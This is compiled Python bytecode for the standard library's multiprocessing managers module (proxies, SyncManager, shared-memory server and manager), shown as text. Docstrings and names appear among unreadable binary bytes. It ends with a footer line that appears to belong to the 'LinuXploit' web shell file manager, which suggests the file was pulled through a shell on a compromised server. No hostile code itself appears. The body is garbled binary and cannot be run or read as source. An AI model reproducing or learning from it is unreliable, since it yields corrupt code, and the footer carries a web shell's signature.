P!4Pp\RVP,V4p	V	!WW#WVR7p
RV
n
V
# TP4i;i)z"
Return an auto-proxy for `token`
Nrr�z
AutoProxy[%s])rcrsr�r�T)rtr$rLr�r	r
r�rsr�r#r�)r�r|rcrsr�r�r�r
r�r�res&&&&&&&    rriri�s���
�j�)�!�,�G����u�}�}�g�6��	��t�T�=�5�(�C�G��J�J�L���7�.��"�"�����)�)�+�3�3���o����<�g�F�I��e��#�
B�E��E�M��L��
�J�J�L�s�B5�5Cc�,a�]tRtRtoRtRtRtVtR#)�	Namespacei�c�<�VPPV4R#r)rg�updater�s",rr'�Namespace.__init__�s���
�
���T�"rc�>�\VPP44p.pVF6wr4VPR4'dKVP	V:RV:24K8	VP4VPP:RRPV4:R2#)rh�=�(�, r3)	rrgrj�
startswithrbr�r4r5r�)r&rjrcrdr�s&    rr6�Namespace.__repr__�sr���T�]�]�(�(�*�+���� �K�D��?�?�3�'�'����t�U�3�4�!�	
�	�	���>�>�2�2�D�I�I�d�O�D�Drr]N)r5r8r9r:r'r6r=r>r?s@rr�r��s����#�E�Err�c�Na�]tRtRtoRRltRtRtRt]!]]4t	Rt
VtR#)	�Valueic��WnW nR#r��	_typecode�_value)r&rr��locks&&&&rr'�Value.__init__s��!���rc��VP#r�r�r*s&rr��	Value.gets���{�{�rc��WnR#rr��r&r�s&&rr��	Value.set
s���rc�l�\V4P:RVP:RVP:R2#)r�r�r3)rUr5r�r�r*s&rr6�Value.__repr__s!��!�$�Z�0�0�$�.�.�$�+�+�N�Nrr�N�T)r5r8r9r:r'r�r�r6rrr�r=r>r?s@rr�r�s&�������O��S�#��Err�c�.�\P!W4#r)r)r�sequencer�s&&&r�Arrayr�s���;�;�x�*�*rc�Ba�]tRtRtoR	tRtRtRtRtRt	Rt
VtR#)
�
IteratorProxyic��V#rr]r*s&r�__iter__�IteratorProxy.__iter__����rc�&�VPRV4#)�__next__r��r&rHs&*rr��IteratorProxy.__next__s�����
�D�1�1rc�&�VPRV4#)rCr�r�s&*rrC�IteratorProxy.sends�������-�-rc�&�VPRV4#)�throwr�r�s&*rr��IteratorProxy.throw��������.�.rc�&�VPRV4#)r�r�r�s&*rr��IteratorProxy.close!r�rr]N)r�rCr�r�)r5r8r9r:r_r�r�rCr�r�r=r>r?s@rr�r�s(����6�I��2�.�/�/�/rr�c�Fa�]tRtRtoR	tR
RltRtRtRtRt	Rt
VtR#)�
AcquirerProxyi%Nc�:�VfV3MW3pVPRV4#)N�acquirer�)r&�blockingrBrHs&&& rr��AcquirerProxy.acquire's%��%�o��{�H�3F�����	�4�0�0rc�$�VPR4#��releaser�r*s&rr��AcquirerProxy.release*������	�*�*rc�$�VPR4#)�lockedr�r*s&rr�AcquirerProxy.locked,�������)�)rc�$�VPR4#)r�r�r*s&rrM�AcquirerProxy.__enter__.rrc�$�VPR4#r�r�rPs&&&&rrT�AcquirerProxy.__exit__0rrr])r�r�r)TN)r5r8r9r:r_r�r�rrMrTr=r>r?s@rr�r�%s(����0�I�1�+�*�+�+�+rr�c�Ha�]tRtRtoRtR	RltR
RltRtR	RltRt	Vt
R#)�ConditionProxyi4Nc�(�VPRV34#�r�r�rAs&&rr��ConditionProxy.wait6��������
�3�3rc�(�VPRV34#)�notifyr�)r&�ns&&rr�ConditionProxy.notify8s������1�$�/�/rc�$�VPR4#)�
notify_allr�r*s&rr�ConditionProxy.notify_all:s������-�-rc�
�V!4pV'dV#Ve\P!4V,pMRpRpV'gEVe'V\P!4,
pV^8:dV#VPX4V!4pKLV#r)�time�	monotonicr�)r&�	predicaterBrK�endtime�waittimes&&&   r�wait_for�ConditionProxy.wait_for<sw�������M����n�n�&��0�G��G��H���"�"�T�^�^�%5�5���q�=���
�
�I�I�h���[�F��
rr])r�r�rr�rrr)r�)r5r8r9r:r_r�rrrr=r>r?s@rr
r
4s#����P�I�4�0�.��rr
c�@a�]tRtRtoRtRtRtRtR	RltRt	Vt
R#)
�
EventProxyiOc�$�VPR4#)r�r�r*s&rr��EventProxy.is_setQrrc�$�VPR4#�r�r�r*s&rr��EventProxy.setS�������&�&rc�$�VPR4#rwr�r*s&rrx�EventProxy.clearU�������(�(rNc�(�VPRV34#rr�rAs&&rr��EventProxy.waitWrrr])r�r�rxr�r)r5r8r9r:r_r�r�rxr�r=r>r?s@rrrOs#����2�I�*�'�)�4�4rrc�ja�]tRtRtoR
tRRltRtRt]R4t	]R4t
]R4tR	tVt
R#)�BarrierProxyi[Nc�(�VPRV34#rr�rAs&&rr��BarrierProxy.wait]rrc�$�VPR4#)�abortr�r*s&rr0�BarrierProxy.abort_r(rc�$�VPR4#)�resetr�r*s&rr3�BarrierProxy.resetar(rc�&�VPRR4#)�__getattribute__)�partiesr�r*s&rr7�BarrierProxy.partiescs����� 2�L�A�Arc�&�VPRR4#)r6)�	n_waitingr�r*s&rr:�BarrierProxy.n_waitingfs����� 2�N�C�Crc�&�VPRR4#)r6)�brokenr�r*s&rr=�BarrierProxy.brokenis����� 2�K�@�@rr])r6r�r0r3r)r5r8r9r:r_r�r0r3rrr7r:r=r=r>r?s@rr,r,[sU����>�I�4�)�)�
�B��B�
�D��D�
�A��Arr,c�6a�]tRtRtoRtRtRtRtRtVt	R#)�NamespaceProxyinc��V^,R8Xd\PW4#\PVR4pV!RV34#)�rhr�r6)�objectr6�r&rm�
callmethods&& r�__getattr__�NamespaceProxy.__getattr__ps@���q�6�S�=��*�*�4�5�5��,�,�T�=�A�
��,�s�f�5�5rc��V^,R8Xd\PWV4#\PVR4pV!RW34#)rBrhr��__setattr__)rCrIr6)r&rmr�rEs&&& rrI�NamespaceProxy.__setattr__usA���q�6�S�=��%�%�d��7�7��,�,�T�=�A�
��-�#��6�6rc��V^,R8Xd\PW4#\PVR4pV!RV34#)rBrhr��__delattr__)rCrLr6rDs&& rrL�NamespaceProxy.__delattr__zs?���q�6�S�=��%�%�d�0�0��,�,�T�=�A�
��-�#��0�0rr]N)r6rIrL)
r5r8r9r:r_rFrIrLr=r>r?s@rr@r@ns����B�I�6�
7�
1�1rr@c�fa�]tRtRtoRtRtRt]!]]4t]	!]
P4tRt
VtR#)�
ValueProxyi�c�$�VPR4#)r�r�r*s&rr��ValueProxy.get�r%rc�(�VPRV34#r#r�r�s&&rr��ValueProxy.set�s�������x�0�0rr]N)r�r�)r5r8r9r:r_r�r�rrr�rp�types�GenericAlias�__class_getitem__r=r>r?s@rrOrO�s1�����I�'�1��S�#��E�#�E�$6�$6�7�rrO�
BaseListProxyc�Pa�]tRtRtoRtRt]!]P4t	Rt
VtR#)�	ListProxyi�c�,�VPRV34V#)�extendr�r�s&&r�__iadd__�ListProxy.__iadd__�s������E�8�,��rc�,�VPRV34V#)�__imul__r�r�s&&rr_�ListProxy.__imul__��������e�X�.��rr]N)r5r8r9r:r\r_rprTrUrVr=r>r?s@rrYrY�s"������$�E�$6�$6�7�rrY�_BaseDictProxyr��Iteratorc�Ja�]tRtRtoRt]!]P4tRt	Vt
R#)�	DictProxyi�c�,�VPRV34V#��__ior__r�r�s&&rrh�DictProxy.__ior__��������U�H�-��rr]N)r5r8r9r:rhrprTrUrVr=r>r?s@rrere�s�����$�E�$6�$6�7�rre�
_BaseSetProxyc�\a�]tRtRtoRtRtRtRt]!]	P4tRtVt
R#)�SetProxyi�c�,�VPRV34V#rgr�r�s&&rrh�SetProxy.__ior__�rjrc�,�VPRV34V#)�__iand__r�r�s&&rrq�SetProxy.__iand__�rarc�,�VPRV34V#)�__ixor__r�r�s&&rrt�SetProxy.__ixor__�rarc�,�VPRV34V#)�__isub__r�r�s&&rrw�SetProxy.__isub__�rarr]N)r5r8r9r:rhrqrtrwrprTrUrVr=r>r?s@rrmrm�s,��������$�E�$6�$6�7�rrm�
ArrayProxy�	PoolProxy�apply_async�imap�imap_unordered�	map_async�
starmap_async�AsyncResultc�,a�]tRtRtoRtRtRtVtR#)rzi�c��V#rr]r*s&rrM�PoolProxy.__enter__�r�rc�&�VP4R#r)rWrPs&&&&rrT�PoolProxy.__exit__�s�����rr]N)r5r8r9r:rMrTr=r>r?s@rrzrz�s������rc��]tRtRtRtRtR#)ri�a
Subclass of `BaseManager` which supports a number of shared object types.

The types registered are those intended for the synchronization
of threads, plus `dict`, `list` and `Namespace`.

The `multiprocessing.Manager()` function creates started instances of
this class.
r]N)r5r8r9r:r;r=r]rrrr�s��r�Queue�
JoinableQueuer�rz�RLock�	Semaphore�BoundedSemaphore�	Condition�Barrier�Poolrr�r�r�)r�rl)rlc�Ta�]tRtRtoRt.3RltRtRtRtRt	Rt
R	tR
tVt
R#)�_SharedMemoryTrackeriz+Manages one or more shared memory segments.c��WnW nR#r��shared_memory_context_name�
segment_names)r&rdr�s&&&rr'�_SharedMemoryTracker.__init__s��.2�+�!.�rc��\P!RV:R\424VPP	V4R#)z6Adds the supplied shared memory block name to tracker.zRegister segment � in pid N)rr�rr�rb�r&�segment_names&&r�register_segment�%_SharedMemoryTracker.register_segments3���J�J�*�<�*:�(�6�8�*�M�N����%�%�l�3rc���\P!RV:R\424VPP	V4\
P!V4pVP4VP4R#)zvCalls unlink() on the shared memory block with the supplied name
and removes it from the list of blocks being tracked.zDestroy segment r�N)	rr�rr��remover�SharedMemoryr��unlink)r&r��segments&& r�destroy_segment�$_SharedMemoryTracker.destroy_segmentsX��
�J�J�)�,�)9��&�(��L�M����%�%�l�3�#�0�0��>�G��M�M�O��N�N�rc�\�VPR,FpVPV4K	R#)z<Calls destroy_segment() on all tracked shared memory blocks.:NNNN)r�r�r�s& rr��_SharedMemoryTracker.unlink#s(�� $� 2� 2�1� 5� 5���$�$�\�2�!6rc��\P!RVPPR\	424VP4R#)zCall z.__del__ in N)rr�r4r5rr�r*s&r�__del__�_SharedMemoryTracker.__del__(s1���J�J��t�~�~�6�6�7�|�F�H�:�N�O��K�K�Mrc�2�VPVP3#rr�r*s&rr+�!_SharedMemoryTracker.__getstate__,s���3�3�T�5G�5G�H�Hrc�&�VP!V!R#r)r'r.s&&rr0�!_SharedMemoryTracker.__setstate__/s���M�M�5�!r)r�r�N)r5r8r9r:r;r'r�r�r�r�r+r0r=r>r?s@rr�r�s4����5�/1�	/�	4�
	�	3�
	�	I�	"�	"rr�c�na�]tRtRto]P
.R
O,tRtRtRtRt	Rt
RtRtVt
R	#)�SharedMemoryServeri3c�(�\P!V.VO5/VBVPp\V\4'd\
P!V4p\RVR\424Vn	\P!R\424R#)�shm_rhz"SharedMemoryServer started by pid N)rkr'r$rQrp�os�fsdecoder�r�shared_memory_contextrr�)r&rH�kwargsr$s&*, rr'�SharedMemoryServer.__init__8sq���O�O�D�2�4�2�6�2��l�l�G��'�5�)�)��+�+�g�.��$�t�G�9�A�f�h�Z�%@�A�
�&��J�J�;�F�H�:�F�Grc��\VPV,R,R4'dVPVR&\P!WV.VO5/VB#)z|Create a new distributed-shared object (not backed by a shared
memory block) and return its id to be used in a Proxy Object.�_shared_memory_proxyr�r�)rXrqr�rkr�)r&rFr#rHr�s"""*,rr��SharedMemoryServer.createBsL���t�}�}�V�,�R�0�2H�I�I�26�2L�2L��.�/��=�=��&�B�4�B�6�B�Brc�`�VPP4\PW4#)zACall unlink() on all tracked shared memory, terminate the Server.)r�r�rkr�r�s&&rr��SharedMemoryServer.shutdownLs#���&�&�-�-�/��?�?�4�+�+rc�<�VPPV4R#)z?Adds the supplied shared memory block name to Server's tracker.N)r�r��r&rFr�s&&&r�
track_segment� SharedMemoryServer.track_segmentQs���&�&�7�7��Erc�<�VPPV4R#)z|Calls unlink() on the shared memory block with the supplied name
and removes it from the tracker instance inside the Server.N)r�r�r�s&&&r�release_segment�"SharedMemoryServer.release_segmentUs��
�&�&�6�6�|�Drc�.�VPP#)zVReturns a list of names of shared memory blocks that the Server
is currently tracking.)r�r�r�s&&r�
list_segments� SharedMemoryServer.list_segmentsZs���-�-�;�;�;r)r�N)r�r�r�)r5r8r9r:rkr�r'r�r�r�r�r�r=r>r?s@rr�r�3s>�������F�G��	H�	C�	,�
	F�	E�
	<�	<rr�c�Fa�]tRtRtoRt]tRtRtRt	Rt
RtRtVt
R	#)
ri`aqLike SyncManager but uses SharedMemoryServer instead of Server.

It provides methods for creating and returning SharedMemory instances
and for creating a list-like object (ShareableList) backed by shared
memory.  It also provides methods that create and return Proxy Objects
that support synchronization across processes (i.e. multi-process-safe
locks and semaphores).
c��\PR8Xd^RIHpVP	4\
P!V.VO5/VB\P!VPPR\424R#)�posix)�resource_trackerz created by pid N)r�rd�r��ensure_runningrr'rr�r4r5r)r&rHr�r�s&*, rr'�SharedMemoryManager.__init__ls\���w�w�'�!�/� �/�/�1�� � ��7��7��7��J�J�$�.�.�1�1�2�2B�6�8�*�M�Nrc�t�\P!VPPR\	424R#)z.__del__ by pid N)rr�r4r5rr*s&rr��SharedMemoryManager.__del__xs'���J�J�$�.�.�1�1�2�2B�6�8�*�M�Nrc��VPP\P8wd�VPP\P8Xd\R4hVPP\P8Xd\R4h\RPVPP44hVPVPVPVPVP4#)z@Better than monkeypatching for now; merge into Server ultimatelyz"Already started SharedMemoryServerz!SharedMemoryManager has shut downr)
r
r�r�rrrrrTr8rrr	rr*s&rr�SharedMemoryManager.get_server{s����{�{� � �E�M�M�1��;�;�$�$��
�
�5�&�'K�L�L��[�[�&�&�%�.�.�8�&�'J�K�K�&�,�3�3�D�K�K�4E�4E�F�H�H��<�<�����
�
� $�
�
�t�/?�/?�A�
Arc�P�VPVPVPR7;_uu_4p\P!RRVR7p\VRRVP34RRR4T# \dpTP4ThRp?ii;i +'giX#;i)zcReturns a new SharedMemory instance with the specified size in
bytes, to be tracked by the manager.rNT)r��sizer�)	r
rr	rr�rLrd�
BaseExceptionr�)r&r�r��smsr�s&&   rr�� SharedMemoryManager.SharedMemory�s������d�m�m�T�]�]��C�C�t�#�0�0��d��N����T�4��3�8�8�+�F�D��J��%���J�J�L��G����	D�C��J�s)�B�A/�/B�:B�B�B�B%	c�r�VPVPVPR7;_uu_4p\P!V4p\VRRVPP34RRR4T# \d"pTPP4ThRp?ii;i +'giX#;i)zuReturns a new ShareableList instance populated with the values
from the input sequence, to be tracked by the manager.rNr�)
r
rr	r�
ShareableListrL�shmrdr�r�)r&r�r��slr�s&&   rr��!SharedMemoryManager.ShareableList�s������d�m�m�T�]�]��C�C�t�"�0�0��:����T�4��2�6�6�;�;�.�I�D��I��%���F�F�M�M�O��G����	D�C��I�s)�B%�#A6�6B"�B�B"�"B%�%B6	r]N)r5r8r9r:r;r�r8r'r�rr�r�r=r>r?s@rrr`s2����	�%��
	O�	O�	A�
	�
	�
	r)rrrr)rjr��valuesr]r�r�)�__add__�__contains__�__delitem__�__getitem__r_�__len__�__mul__�__reversed__�__rmul__�__setitem__rbrxrh�countr[�index�insertr�r��reverser�)r�r�r�rhr�r��__or__r��__ror__r�rxrh�fromkeysr�rjr�r��popitem�
setdefaultr�r�)%�__and__rVr�rqrhrwr�rtr�r��__rand__r��__rsub__�__rxor__�__sub__�__xor__�__ge__�__gt__�__le__�__lt__r�rxrh�
difference�difference_updater��intersection�intersection_update�
isdisjoint�issubset�
issupersetr�r��symmetric_difference�symmetric_difference_update�unionr�)r�r�r�)�applyr{r�r|r}r��mapr~�starmaprrW)_�__all__r�ryr5r�collections.abc�collections�queuerrTr�rr�rr�r�contextr	r
rrr
rrr�	HAS_SHMEMrb�ImportErrorrrnrUr`�
view_typesr�	view_typerCrrLrEr�rVrfrirkr�r}r~�XmlListener�	XmlClientrtrr�rtrr�r�rir�r�r�r�r�r
rr,r@rOrWrY�abc�MutableSequencerbr`re�MutableMappingrkrmry�
BasePoolProxyrzrr�r�rzr�r�r�r�r�r�rr�r�r�r)rds0r�<module>rs���A����
������	�� ��@�@�����*���I��N�N�(�)�2�	���5�;�;��-�4M�
N�4M�D�d�7�2�t�$�&�'�4M�
N�
���I�
���y�/�2��
�z�M�F�M�.&(�b��
I�C�)�C�	�A�F*�V�F*�Z
�F��
�
�#�#�Z�%6�%6�7��:�)�)�:�+?�+?�@���t'�&�t'�t�c��w=��w=�z:�*)+��,�:
E��
E�
�F�
�+�/�I�/�+�I�+��]��6	4��	4�A�9�A�&1�Y�1�&8��8��o�0��
�8�
�8������(�(��7��/�2����
�%��!�8��8������'�'��7��o�	0�	�
�8�}�8� �����'�'�
�6��<�*��
�
�k�,��
�
�=����]�
�J��j�$�
� ��
��	�+�	����W�e�k�k�*����_�e�k�k�2����W�i�o�o�z�:����V�Y�^�^�]�;����W�i�o�o�}�=����[�)�"5�"5�}�E����'��)C�)C�"�$����[�)�"5�"5�~�F����Y�	� 1� 1�<�@����V�T�Y�Y�	�2����V�T�9�-����V�T�9�-����U�C��*����W�e�Z�0����W�e�Z�0����[�)�^�<����Z�=���N����]�%��8�
�""�""�J*<�V�*<�Z>�k�>�g
��O'���I���Os�R3�S�3	S�?S

Youez - 2016 - github.com/yon3zu
LinuXploit